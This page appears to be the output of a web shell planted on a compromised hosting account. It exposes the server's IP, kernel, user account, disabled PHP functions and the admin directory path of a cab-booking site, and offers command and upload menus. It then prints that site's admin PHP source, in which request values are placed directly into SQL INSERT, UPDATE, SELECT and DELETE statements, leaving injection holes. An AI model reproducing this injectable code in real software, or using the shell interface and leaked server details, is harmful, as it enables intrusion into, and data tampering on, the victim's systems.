Server IP : 82.112.239.40 / Your IP : 18.222.146.86 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/cabz4you.com/public_html/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include 'lib/core.php'; //Show All cities if($_SERVER['REQUEST_METHOD'] == "GET") { if (isset($_GET['show_cities'])) { $show = "SELECT * FROM no_return_round_cities"; $result = $conn->query($show); if ($result->num_rows > 0) { while ($row = $result->fetch_assoc()) { $cities[] = $row; } echo json_encode($cities); } } } if($_SERVER['REQUEST_METHOD'] == "POST") { // Adding package cities if (isset($_POST['city_name'])) { $from_city = $_POST['from_city']; $to_city = $_POST['city_name']; $price = $_POST['city_price']; $define = $_POST['define']; $type = implode(',', $_POST['type']); $fromexp=explode(",", $from_city); $toexp=explode(",", $to_city); $city=$fromexp[0] . ":" . $toexp[0]; if ($type!='') { $type = implode(',', $_POST['type']); }else{ $type = 'all'; } $href='low_price_route_roundtrip'; if(!empty($city)) { $sql = "INSERT INTO no_return_round_cities(city,low_price,cab_type_id,type) VALUES('$city','$price','$type','$define')"; if ($conn->query($sql)) { echo '<script language="javascript">'; echo 'alert("Update successfully"); location.href="'.$href.'"'; echo '</script>'; } else { echo '<script language="javascript">'; echo 'alert("Something Went Wrong!"); location.href="'.$href.'"'; echo '</script>'; } } else { echo "Can't left empty"; } } //Show Current City in Edit Modal if (isset($_POST['city_id'])) { $id = $_POST['city_id']; $query = "SELECT * FROM no_return_round_cities WHERE id = " . $id; $result = $conn->query($query); $cab_type = $result->fetch_assoc(); $city=explode(':', $cab_type['city']); $type=explode(',', $cab_type['cab_type_id']); $sql = "SELECT * FROM cab_types"; $res = $conn->query($sql); $output=''; while($value = mysqli_fetch_array($res)) { // if ($value['type'] == $type[$i++]) if (in_array($value['type'], $type)) { $select = "selected"; }else{ $select=''; } $output.='<option value="'.$value['type'].'" '.$select.'>'.$value['type'].'</option>'; } echo json_encode(array( "output"=>$output, "from"=>$city[0], "to"=>$city[1], "price"=>$cab_type['low_price'], "id"=>$cab_type['id'] )); } //Updating package City in Modal if (isset($_POST['save_id'])) { $id = $_POST['save_id']; $define = $_POST['define']; $price = $_POST['edit-city-price']; $type = implode(',', $_POST['type']); $from_city = $_POST['from_city']; $to_city = $_POST['edit-city-name']; $fromexp=explode(",", $from_city); $toexp=explode(",", $to_city); $city=$fromexp[0] . ":" . $toexp[0]; if ($type!='') { $type = implode(',', $_POST['type']); }else{ $type = 'all'; } $href='low_price_route_roundtrip'; $sql = "UPDATE no_return_round_cities SET city = '$city',low_price = '$price',cab_type_id = '$type' WHERE id = $id"; if ($conn->query($sql)) { echo '<script language="javascript">'; echo 'alert("Update successfully"); location.href="'.$href.'"'; echo '</script>'; } else { echo '<script language="javascript">'; echo 'alert("Something Went Wrong!"); location.href="'.$href.'"'; echo '</script>'; } } //Delete package cities if (isset($_POST['delete_id'])) { $id = $_POST['delete_id']; $query = "DELETE FROM no_return_round_cities WHERE id = " . $id; if ($conn->query($query)) { echo "Success"; } else { echo "Something Wrong"; } } } ?>